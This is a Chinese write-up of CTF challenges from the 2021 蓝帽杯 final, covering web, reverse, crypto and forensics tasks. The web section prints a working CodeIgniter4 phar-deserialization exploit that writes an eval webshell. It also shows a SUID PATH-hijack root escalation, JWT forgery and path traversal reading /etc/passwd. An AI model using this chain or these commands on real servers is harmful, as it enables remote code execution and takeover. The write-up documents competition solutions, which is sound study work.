2021蓝帽杯 final WriteUp
2021蓝帽杯 final WriteUp

web

ImageCheck

题目是一个codeigniter4的框架,既然是一个MVC框架,因此我们首先先看uploadcheckcontroller

对文件进行过滤,并且要求文件后缀是图片后缀,当满足条件之后会进行check,我们再来看check对应的controller

很明显的一个利用phar反序列化的考点,因为getimagesize该函数可以触发phar反序列化,有了入口点之后我们需要做的就是找一条gadget chains

在这里网上已有的反序列化链子是存在的,可以结合Rogue-mysql进行任意文件读取和SQL注入,但是CI框架只允许运行在PHP7.2及往上版本,而MySQL恶意服务器文件读取漏洞只能运行在PHP<7.3版本,所以本次漏洞挖掘只可以运行在刚刚好的PHP7.2.x

而给出的CI需要运行在PHP 7.3以上的环境,因此这条链子是行不通的,但是爆出来的也只有这一条链子,因此可能需要我们挖掘额外的链子,但是实际上我们是可以借鉴这条链子的,全局搜索__destruct方法:

这里要么寻找__call()方法要么来找其他类的close()方法,这里我们借鉴phpggc给出的链子,来看MemcachedHanlerclose()方法:

public function close(): bool
{
    if (isset($this->memcached))
    {
        isset($this->lockKey) && $this->memcached->delete($this->lockKey);
        if (! $this->memcached->quit())
        {
            return false;
        }
        $this->memcached = null;
        return true;
    }

    return false;
}

这里又可以调用其他类的delete方法,并且传递的一个参数是可控的,因此继续跟进全局搜索其他类的delete方法,跟进了很多类中的delete方法,最终找到了CURLRequest类:

在这里url参数是可控的,猜想这里是能够进行触发curl,不妨先跟进看下:

调用了send方法,继续跟进该方法:

public function send(string $method, string $url)
    {
        // Reset our curl options so we're on a fresh slate.
        $curlOptions = [];

        if (! empty($this->config['query']) && is_array($this->config['query']))
        {
            // This is likely too naive a solution.
            // Should look into handling when $url already
            // has query vars on it.
            $url .= '?' . http_build_query($this->config['query']);
            unset($this->config['query']);
        }

        $curlOptions[CURLOPT_URL]            = $url;
        $curlOptions[CURLOPT_RETURNTRANSFER] = true;
        $curlOptions[CURLOPT_HEADER]         = true;
        $curlOptions[CURLOPT_FRESH_CONNECT]  = true;
        // Disable @file uploads in post data.
        $curlOptions[CURLOPT_SAFE_UPLOAD] = true;

        $curlOptions = $this->setCURLOptions($curlOptions, $this->config);
        $curlOptions = $this->applyMethod($method, $curlOptions);
        $curlOptions = $this->applyRequestHeaders($curlOptions);

        // Do we need to delay this request?
        if ($this->delay > 0)
        {
            sleep($this->delay); // @phpstan-ignore-line
        }

        $output = $this->sendRequest($curlOptions);

        // Set the string we want to break our response from
        $breakString = "\r\n\r\n";

        if (strpos($output, 'HTTP/1.1 100 Continue') === 0)
        {
            $output = substr($output, strpos($output, $breakString) + 4);
        }

         // If request and response have Digest
        if (isset($this->config['auth'][2]) && $this->config['auth'][2] === 'digest' && strpos($output, 'WWW-Authenticate: Digest') !== false)
        {
                $output = substr($output, strpos($output, $breakString) + 4);
        }

        // Split out our headers and body
        $break = strpos($output, $breakString);

        if ($break !== false)
        {
            // Our headers
            $headers = explode("\n", substr($output, 0, $break));

            $this->setResponseHeaders($headers);

            // Our body
            $body = substr($output, $break + 4);
            $this->response->setBody($body);
        }
        else
        {
            $this->response->setBody($output);
        }

        return $this->response;
    }

证实了猜测,确实可以触发curl并且url是可控的,但是即使是能够curl,由于是phar反序列化触发的也不会有回显,那如何通过curl的方式来RCE呢?

这里实际上是比较巧妙的使用了PHP Curl中的debug
举个例子:

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'www.baidu.com');
curl_setopt($ch, CURLOPT_VERBOSE, true); // curl debug
curl_setopt($ch, CURLOPT_STDERR, fopen('/tmp/curl_debug.log', 'w+')); // curl debug
curl_exec($ch);
curl_close($ch);

这里的关键是CURLOPT_VERBOSE设置为true,代表开启debug状态后这样就可以将debug内容写入/tmp/curl_debug.log文件, 其中CURLOPT_VERBOSE, CURLOPT_STDERRcurl dubug的关键项。

本地测下:

<?php
$url = "https://crisprx.top";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_VERBOSE, true); // curl debug
curl_setopt($ch, CURLOPT_STDERR, fopen('ccccrispr.txt', 'w+')); // curl debug
curl_exec($ch);
curl_close($ch);

成功写入文件:

这给了我们一定的启发,如果我们在CURLRequest类中也能够控制开启debug,并且控制debug的路径,那我们通过可控的url是不是就能写入任意内容了呢?

答案是肯定的,可以看到:

在该类中存在$config配置curl,并且默认是false,返回到send方法:

这里调用$this->setCURLOptions传递了$config配置,跟进该方法:

...
// Debug
        if ($config['debug'])
        {
            $curlOptions[CURLOPT_VERBOSE] = 1;
            $curlOptions[CURLOPT_STDERR]  = is_string($config['debug']) ? fopen($config['debug'], 'a+') : fopen('php://stderr', 'w');
        }
...

这里开启了刚才curl debug最关键的两个字段:CURLOPT_VERBOSE&CURLOPT_STDERR,并且这里的$config['debug']是我们可控的,这样我们可以控制它为/var/www/html/uploads/shell.php,这样就可以写入shell了

因此EXP就很好写了:

<?php
namespace CodeIgniter\Cache\Handlers{
    class RedisHandler{
        protected $redis;
        public function __construct($redis)
        {
            $this->redis = $redis;
        }
    }

}

namespace CodeIgniter\Session\Handlers{
    class MemcachedHandler{
        protected $memcached;
        protected $lockKey;
        public function __construct($memcached)
        {
            $this->lockKey = "http://xxx:3333/?<?=eval(\$_POST[1])?>";
            $this->memcached = $memcached;
        }
    }
}

namespace CodeIgniter\HTTP{
    class CURLRequest{
        protected $config = [];
        public function __construct()
        {
            $this->config = [
                'timeout'         => 0.0,
                'connect_timeout' => 150,
                'debug'           => '/var/www/html/public/uploads/shell.php',
                'verify'          => false,
            ];
        }
    }
}

namespace{
    $code = new \CodeIgniter\HTTP\CURLRequest();
    $memcached = new \CodeIgniter\Session\Handlers\MemcachedHandler($code);
    $redis = new \CodeIgniter\Cache\Handlers\RedisHandler($memcached);
    $a = $redis;
    @unlink("phar.phar");
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
    $phar->setMetadata($a); //将自定义meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
        //签名自动计算
    $phar->stopBuffering();
}
?>

最后只需要将生成的phar包进行gzip或者bzip2压缩后修改后缀为jpg上传后再通过phar触发反序列化写入shell

getshell后发现还需要提权,存在一个readflag文件属性是SUID:

其实是一个很经典的环境变量PATH提权,以前在vulnhub的Bytesec这个虚拟机里出现过该考点

该环境变量提权的思路就是:
重新设置环境变量在/tmp目录下,则我们在使用/usr/bin/ls时使用的系统命令会定位到/tmp路径下的ls可执行程序,而内容已被我们篡改,因为ls是SUID权限,即运行时有root权限,所以我们借这个SUID位执行我们设置的ls,即我们以root身份打开了一个/bin/sh,成功提权。

因此可以构造如下:

cd /tmp #只有/tmp目录下可写
echo "/bin/sh" > ls #将/bin/sh写入ls
chmod +x ls #赋予可执行权限给netstat
echo $PATH #查看当前环境变量
export PATH=/tmp:$PATH 

最后提权root

web2

这题入口只能说是个脑洞题。。那么久没给hint不知道咋想的,给hint之后能读jwt的secret_key,结合之前扫目录发现的register路由可以根据POST的username来生成对应的token,拿到secret_key便能够伪造admin身份了:

伪造完之后发现可以读取源码:

知道还有个addAdmin路由,这里可以用该路由将自己注册的用户来addAdmin之后便可以登录访问/admin路由不然一直卡死,比赛的时候非常迷,总之动不动就会卡死,然后还要一堆涉及到SQL的操作,但其实利用的主要就是getfile路由,因为filename可控且没有过滤,因此直接可以进行路径穿越读取/etc/passwd成功后继续读取/proc/self/environ发现根目录貌似是在root然后就顺着直接读flag了:

Re

abc

直接脚本去花指令

import idaapi
import idc
import ida_bytes
start=0x400672
ptr=start
while ptr<0x401518:
    line=idc.generate_disasm_line(ptr,0)
    if "add     rsp, 8" in line:
        t=idc.generate_disasm_line(idc.next_head(ptr),0)
        if "jmp     [rsp-8+var_s0]" in t:
            ida_bytes.patch_bytes(ptr,b'\xc3'+b'\x90'*7)
    if "push    rbp" in line:
        t=idc.generate_disasm_line(idc.next_head(ptr),0)
        if "mov     rbp, rsp" in t:
            t=idc.generate_disasm_line(idc.next_head(idc.next_head(ptr)),0)
            if "leave" in t:
                t=idc.generate_disasm_line(idc.next_head(idc.next_head(idc.next_head(ptr))),0)
                if "retn" in t:
                    ida_bytes.patch_bytes(ptr,b'\x90'*6)
    if "call    $+5" in line:
        t=idc.generate_disasm_line(idc.next_head(ptr),0)
        if "add" in t and "rsp" in t and "0Ch" in t and '[' in t and ']' in t:
            t=idc.print_insn_mnem(idc.next_head(idc.next_head(ptr)))

            if "jmp"==t:
                t=idc.generate_disasm_line(idc.next_head(idc.next_head(idc.next_head(ptr))),0)
                if "leave" in t:
                    t=idc.generate_disasm_line(idc.next_head(idc.next_head(idc.next_head(idc.next_head(ptr)))),0)
                    if "ret" in t:
                        ida_bytes.patch_bytes(ptr,b'\x90'*10+b'\xe8')
                        ida_bytes.patch_bytes(ptr+15,b'\x90'*2)
    if idc.print_insn_mnem(ptr)=="call":
        sub=idc.print_operand(ptr,0)
        addr=int('0x'+sub[4:],16)
        if ida_bytes.get_bytes(addr,6)==b'\x90'*6:
            ida_bytes.patch_bytes(ptr,b'\x90'*5)
        #target=ida_bytes.get_bytes()
    ptr=idc.next_head(ptr)

然后就能ida的f5了

不难发现就是一个数字华容道,稍微手算一下得到解,拿去nc得到flag

Crypto

crack point

加密的私钥比较小只有40bit
直接用BSGS求解ECDLP得到key
然后正常解ecc

p = 199577891335523667447918233627928226021
E = EllipticCurve(GF(p), [1, 0, 0, 6745936378050226004298256621352165803, 27906538695990793423441372910027591553])
G = E.gen(0)
public = E(26333907222366222187416360421790100900, 15685215723385060577747689361308893836, 1)
point_1 = E(53570576204982581657469369029969950113, 25369349510945575560344119361348972982, 1)
cipher = E(154197284061586737858758103708592634427, 79569265701802598850923391009373339175, 1)

d = 2 ^ 20
y = G
baby = {}
baby_start = G

for i in range(1, d):
    baby[baby_start] = i
    baby_start = baby_start + y

y_d = -d * y
gian_start = point_1

for i in range(d):
    if gian_start in baby:
        r, s = i, baby[gian_start]
        break
    gian_start = gian_start + y_d


key = r * d + s
print(key)

assert key * G == point_1

flag = cipher - key * public
print('flag{' + str(flag[0]+flag[1]) + '}')

Misc

溯源取证——张三的电脑

winhex看一下,可以看出附件是vmdk
用winimage把vmdk转换为vhd,挂载上,又找到一个磁盘镜像
把磁盘镜像放进diskgenius里进行数据恢复,在回收站目录里能找到一个png
png上就是flag

ssh_traffic

在最后一个 tcp 流找到 json 格式的密钥等信息,保存为 1.json

{"pid": 4603, "proc_name": "sshd", "sshenc_addr": 94564229959488, "cipher_name": "chacha20-poly1305@openssh.com", "key": "f9a61066dce2afd6afdd84f20f7aadbecbc86a6ed3997363c375f4c33eb10129fec3c88d2503e7042a74d2144178571bf2c9402a547bae34ab95e88f4fd75ffe", "iv": "", "sshenc": {"name": 94564229888720, "cipher": 94564228255120, "enabled": 0, "key_len": 64, "iv_len": 0, "block_size": 8, "key": 94564229878880, "iv": 94564229883472}, "network_connections": [{"family": 2, "fd": 4, "laddr": ["192.168.178.131", 22], "raddr": ["192.168.178.129", 50192], "status": "ESTABLISHED", "type": 1}]}
{"pid": 4603, "proc_name": "sshd", "sshenc_addr": 94564230061040, "cipher_name": "chacha20-poly1305@openssh.com", "key": "ce4e4e033a15a65a0c5f40e71be11c4ceca75a76608d47f121add9f5447c8d2d494863c7a105c924e479f1719884732fd31aaa5b4892ec4b07bcae91d7b826ea", "iv": "", "sshenc": {"name": 94564229888672, "cipher": 94564228255120, "enabled": 0, "key_len": 64, "iv_len": 0, "block_size": 8, "key": 94564229873184, "iv": 94564230023680}, "network_connections": [{"family": 2, "fd": 4, "laddr": ["192.168.178.131", 22], "raddr": ["192.168.178.129", 50192], "status": "ESTABLISHED", "type": 1}]}

使用工具 https://github.com/fox-it/OpenSSH-Network-Parser 来解密 ssh 流量
安装好之后使用命令:

network-parser -p traffic.pcapng --proto=ssh --popt keyfile=1.json -o . -s > 1.txt 2>&1

打开 1.txt 看得到 flag

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇